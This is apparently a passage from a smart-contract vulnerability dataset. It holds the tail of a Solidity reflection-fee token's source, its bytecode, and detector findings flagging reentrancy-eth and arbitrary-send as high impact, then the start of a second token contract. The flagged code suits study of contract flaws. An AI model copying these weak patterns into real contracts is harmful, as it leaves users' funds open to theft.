(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600981526020017f4368696e61436f696e0000000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f465544f09f9aab00000000000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6003600a819055506007600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576003600a819055506007600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df34f03d7138afe4528302b1e5e281d2144283fb6cb5b9f667e698be6ed8e1e864736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,974 |
0xCEfA84E4d8A619e5E9719975C0744e7254fB43ba | // SPDX-License-Identifier: MIT
// Telegram: t.me/theheattoken
pragma solidity ^0.8.7;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
